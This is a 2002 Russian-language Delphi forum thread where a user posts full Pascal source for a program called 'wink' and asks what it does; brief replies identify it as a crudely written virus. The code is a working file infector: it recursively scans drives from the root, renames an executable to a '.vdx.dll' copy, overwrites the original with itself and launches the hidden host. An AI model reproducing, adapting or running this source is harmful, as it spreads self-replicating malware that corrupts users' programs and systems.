Мастера DELPHI (документация, исходники, скачать)

Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

ЧЕ это делает? [D6, WinXP]

X-Shadow © (2002-10-21 23:26:00)
Люди помогите плиз что это делает?

program wink;

uses
windows,sysutils;

const
mysize=42496;
var
FileName:string;
TypeFile:longword;
counter:integer=0;
TmpDir : TFilename;
SavedDir : TFilename;
StartDir: TFilename;
DirSrcRec : TSearchRec;
FileSrcRec : TSearchRec;
FileInf:String;
FileInfN:string;
FILENn:integer;
StartupInfo: TStartupInfo;
lpProcess: TProcessInformation;

PROCEDURE INFECT(FILEinfect:STRING);
var
FILEN:Integer;
BEGIN
FileInf:=TmpDIr+ExtractFileName(FileName);
FILEN:=pos(".",FileInf);
Delete(FileInf,Filen,filen+4);
FileInf:=FileInf+"vdx.dll";
MoveFile(pchar(filename),Pchar(FileInf));
CopyFile(Pchar(Paramstr(0)),PCHAR(filename),false);
END;

PROCEDURE SCAN;
var
ErNum : Integer;
EXT : String;
begin
GetDir(0,TmpDir);
if tmpDir[length(tmpdir)]<>"\" then TmpDir:=TmpDir+"\";
ErNum:= FindFirst(tmpdir+"*.exe",not (faReadOnly or
faHidden),FileSrcRec);
while ErNum = 0 do
begin
FileName:=Concat(tmpDir,FileSrcRec.Name);
Ext:=ExtractFileExt(FileName);
GetBinaryType(pChar(FileName),TypeFile);
if (FileName[Length(FileName)]<>".") and
(UPPERCASE(ext)=".EXE") and
(FileSrcRec.size<>MySize) and
(Counter<1) then
begin
inc(Counter);
Infect(FileName);
end;
ErNum := FindNext(FileSrcRec);
end;
FindClose(FileSrcRec);

ErNum := FindFirst("*.*",faDIRECTORY,DirSrcRec);

while ErNum = 0 do
begin
if ((DirSrcRec.Attr and faDIRECTORY) <> 0) and (DirSrcRec.Name[1] <>
".") then
begin
ChDir(DirSrcRec.Name);
Scan;
ChDir(TmpDir);
end;
ErNum := FindNext(DirSrcRec);
end;
SysUtils.FindClose(DirSrcRec);
end;

begin
FileInfN:=ExtractFileName(Paramstr(0));
FILENn:=pos(".",FileInfN);
Delete(FileInfN,FilenN,filenN+4);
FileInfN:=FileInfN+"vdx.dll";
CopyFile(Pchar(FileInfN), Pchar(FileINfN+".EXE"),false);
FileSetAttr(Pchar(FileInfN+".EXE"),faHidden);
IF
CreateProcess(pchar(FileINfN+".EXE"),nil,NIL,NIL,false,NORMAL_PRIORITY_CLASS,NIL,nil,StartupInfo,lpProcess)
Then
Begin
StartDir:=ExtractFileDrive(Paramstr(0));
ChDir(ExtractFileDrive(Paramstr(0))+"\");
Scan;
ChDir(SavedDir);
End;
DeleteFile(Pchar(FileINfN+".EXE"));
StartDir:=ExtractFileDrive(Paramstr(0));
ChDir(ExtractFileDrive(Paramstr(0))+"\");
Scan;
ChDir(SavedDir);
end;

MetalFan (2002-10-22 08:38:00) [1]
какой-то вирусняк... криво написанный))))
явно... пошутил автор, интересно, кто-нить это у себя запустил?

Viktor Kushnir (2002-10-22 08:27:00) [2]
А ты запускать пробывал?

Jeer (2002-10-22 00:19:00) [3]
Эк тебя..
К дохтуру в самый раз.

Наверх

	« предыдущая ветвь \| форум \| следующая ветвь »